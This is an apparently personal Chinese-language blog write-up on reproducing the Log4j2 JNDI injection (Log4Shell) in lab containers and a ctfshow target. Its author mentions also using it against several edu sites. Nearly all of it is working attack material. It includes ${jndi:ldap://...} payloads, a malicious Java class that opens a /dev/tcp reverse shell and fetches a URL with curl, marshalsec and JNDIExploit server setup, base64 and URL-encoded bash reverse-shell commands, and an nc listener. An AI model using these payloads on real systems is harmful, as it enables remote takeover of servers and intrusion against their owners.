前言
这洞真的是鲨疯了,安全圈直接过年,我也借此挖了几个edu,好好体会了下挖洞的感觉,算是正式入src的门了吧。
分析
TODO:以后再补
本地测试
远程复现
环境1
这个环境需要用rmi
docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest
POST /hello HTTP/1.1 Host: 127.0.0.1:55000 Content-Type: application/x-www-form-urlencoded Content-Length: 39 payload=xxxxx
环境2
ctfshow或其他靶机,一般使用ldap
marshalsec
仅测试了本地和ctfshow的靶机
${jndi:ldap://ip/a}
触发漏洞访问ldap
->ldap
访问http server
获取evil.class
->上传evil.class
并执行
1.编译java文件并启动http server
public class Log4jRCE {
static {
try {
String[] cmd = {"/bin/bash", "-c", "exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Log4jRCE() {
try {
String[] cmd = {"/bin/bash", "-c", "curl http://url/"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Log4jRCE.java # linux可能不附带javac,需要自行安装jdk,当然也可以用IDEA
php -S 127.0.0.1:8888 # python或php均可
2.启动ldap server
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests # 需要安装maven
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE
3.打入payload
JNDI-Injection-Exploit
用JNDI-Injection-Exploit的话就可以一键了。
先用base64加密下反弹shell命令以防错误
bash -i >& /dev/tcp/IP/PORT 0>&1
# => YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|bash" -A IP
确保1099、1389、8180端口可用
vulfocus
一般环境
JNDIExploit
注意:以下操作用于vulfocus的靶机,其他环境请举一反三。
JNDIExploit更好使!能看到command执行情况,不然都发现不了问题。
先base64编码,然后将里面的+号进行两次url编码(hackbar与bp需要)
bash -i >& /dev/tcp/IP/PORT 0>&1
# => YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=
# => YmFzaCAtaSA%252BJiAvZGV2L3RjcC9JUC9QT1JUIDA%252BJjE%253D
然后启动JNDIExploit
java -jar JNDIExploit.jar -i 192.168.110.131 -l 1389 -p 8180
payload:
${jndi:ldap://ip:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC9JUC9QT1JUIDA%252BJjE%253D}
如果不处理+
,打进去的命令就会变成:
QA
弹shell报:
nc: getnameinfo: Temporary failure in name resolution
尝试用nc -lvnp port